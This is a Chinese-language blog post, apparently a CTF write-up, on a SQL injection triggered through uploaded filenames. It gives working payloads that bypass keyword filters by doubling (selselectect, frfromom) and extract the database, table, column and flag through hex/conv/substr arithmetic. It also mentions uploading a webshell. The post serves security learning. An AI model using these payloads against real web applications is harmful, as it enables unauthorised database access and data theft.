zoukankan      html  css  js  c++  java
  • 存在于文件名中的SQL手工注入

    SQL注入已经在前一章为大家介绍了个大概,本文将讲述我遇到的本以为是文件上传漏洞,却是以文件名触发的SQL注入!

    本文分享的内容同样来自于一道CTF题!

    1. 直接进入正题

          (1) 初步探测

           先看一下主页面(题目需要注册登录,这里直接跳过了)

           

            就这个页面,我不知道你看到的时候会怎么认为,我的第一想法就是他一定是一个文件上传漏洞拿flag。于是我开始了我得上传之旅,一开始还是有一些欣喜,觉得超简单的一道题:文件上传拿shell就完事了。于是通过burp抓包,修改请求头,成功的将小马上传到了服务器(这里不多解释,文件上传以后再和大家分享)。却发现根本无法获得文件所在路径,也就是只能上传,却无法利用。

            小结:当思考网站是否为文件上传漏洞时,不仅仅要考虑是否能上传木马文件,还要考虑文件被上传到服务器以后,文件所在的位置,也就是能否被利用。(本题大牛应该直接就能发现不是文件上传,因为根本无法获得上传文件所在路径)

       (2)尝试进行SQL注入

            没办法只能继续寻找漏洞所在,再来看一下上传了几个文件之后的网站:

     

             在页面(上图)中可以清楚地看到已经上传的文件(名)。这说明文件被上传到了数据库中,同时浏览器从数据库中读取了上传的文件,那么这个过程就有可能触发SQL注入。于是在文件名中先尝试输入select database() 命令(我认为现在没必要直接去探测数据库逻辑,构造可执行的SQL语句,不过你也可以直接构造能在服务器可SQL语句格式)并上传。

     

             你会发现当文件名为select database().jpg的时候,输出的文件名为database().jpg。而当输入文件名为aaa database().jpg时,输出的文件名也为aaa database().jpg。那么就可判断,服务器将select过滤了,然后在尝试其他命令,发现from也被过滤掉了。(select database()是暴数据库名的一种方式)

       (3)尝试绕过

            既然服务器将select命令过滤掉了,那说名一定有猫腻,那么就尝试绕过。

            首先尝试解决select和from被过滤的问题,我尝试了编码方式,发现服务器返回信息没有解码,这说明编码后在数据库中不能将其转变成命令执行,因此不可行。然后尝双写(也是一种常见的绕过方式)。惊喜的发现selselectect可以成功绕过。同样frfromom也能成功绕过。

            由以上得出结论服务器可能存在SQL注入。(因为在文件名中过滤掉了select 和from两个常用SQL命令,并成功绕过了过滤)

     2. 确定文件名触发SQL注入

    解决了过滤,我盟来构造一下能够被数据库执行的SQL语句,

    (1) 猜测服务器通过命令:insert into  表名('filename',...)  values('你上传的文件名',...);来将数据存储到数据库。

    (2) 构造语句:'+(selselectect database())+' 。

    (3) 拼接后的sql语句为:insert into  表名('filename',...) values('文件名'+(selselectect cdatabase())+'.jpg',...);

    因此尝试   1'+(selselectect database())+'.jpg 。服务器返回0,说明SQL语句被执行了,但无法输出执行结果。

     

    3. 开始操作

           首先考虑是返回数据时数据被过滤掉了,尝试改为输出十六进制,'+(selselectect hex(database()))+'.jpg 。服务器返回" 7765625 "。

            7765625解码为" web "。(貌似成功注入)这里我当时也是信誓旦旦的以为完成了,可以进一步猜表猜字段了。

            但是要注意的是本题还设置了一种截断,即:插入数据库文件名中如果包括SQL语句,那么在返回信息时,服务器将对字母进行截断(某些特殊字符也会截断或过滤)。这是一个很大的坑,但是如果你经验丰富可能很容易发现这个截断,判断依据如下:

             因为当你构造的文件名为  '+(selselectect hex(database()))+'.jpg 。服务器返回" 7765625 "。而输入 111'+(selselectect hex(database()))+'.jpg 时,返回的信息为765736 (=7765625+111)。

             但输入 a111'+(selselectect hex(database()))+'.jpg 时,仍返回7765625。

            因此即可以说明命令:1'+(selselectect hex(database()))+'.jpg的返回值为什么为0(因为返回数据是字符,不是数值,因此只能返回0)。也可以判断服务器进行了字符(英文字母等)截断。 

            解决办法是:尝试其他进制表示。二进制表示失败(可能是服务器设置问题,我也没咋弄清楚为啥二进制返回0)。于是使用conv命令,将16进制转换为10进制:CONV(N,from_base,to_base)   N是要转换的数据,from_base是原进制,to_base是目标进制。

          (1) 构造命令:'+(selselectect conv(hex(database()),16,10))+'.jpg 。返回一个带小数点的数值。

             这是因为返回值太大,系统使用科学计数法(xx e xxxxx)表示,因此使用substr做长度限制。substr(str,pos,len)  str字符串,从pos开始的位置,截取len个字符(空白也算字符)。

           (2) 构造命令:'+(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg ,(经过不断测试发现长度最大为12,长度大于12返回值就会以科学计数法表示)返回10进制数:131277325825392 转化为16进制为7765625f7570,转换成字符:web_up(Unicode编码:12个字节相当于6个字符)

                构造命令'+(selselectect conv(substr(hex(database()),13,25),16,10))+ '.jpg ,返回10进制数:1819238756 转化为16进制为6c6f6164,转换成字符:load

                得到数据库名:web_upload

             (3) 得到数据库名,那么就可以猜表名了。

                构造命令: '+(selselectect+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg

                 '+(selselectect+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg

                通过改变substr的参数,最后将得到的字符连接得到表名:hello_flag_is_here

             (4) 得到表名,那么猜字段。

                构造命令: '+(seleselectect+conv(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 1,1)),1,12),16,10))+'.jpg

                通过改变substr的参数,最后将得到的字符连接得到字段:i_am_flag

              (5) CTF的宗旨,可以拿flag了。

                构造命令: '+(selselectect+CONV(substr(hex((seselectlect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

                通过改变substr的参数,最后将得到的字符连接得到flag。 拿到flag,注入完成。

          具体暴库过程,可参考上一篇文章

    4. 总结

    知识点:

             文件上传,不仅要注意是否能上传,还要考虑文件位置。文件是否能够被利用。

             与数据库交互并回显,有可能触发SQL注入。

              SQL语句重写绕过。

              SQL语句的巧妙构造。

             编码转换的巧妙运用。

    本文供安全人员参考。以上是小白给大家的经验分享,望大佬们多多指教 Thank You !

  • 相关阅读:
    Windows性能计数器应用
    Azure Oracle Linux VNC 配置
    Azure 配置管理系列 Oracle Linux (PART6)
    Azure 配置管理系列 Oracle Linux (PART5)
    Azure 配置管理系列 Oracle Linux (PART4)
    Azure 配置管理系列 Oracle Linux (PART3)
    Azure 配置管理系列 Oracle Linux (PART2)
    vagrant多节点配置
    docker基本操作
    LINUX开启允许对外访问的网络端口命令
  • 原文地址:https://www.cnblogs.com/conquer-vv/p/11328249.html
Copyright © 2011-2022 走看看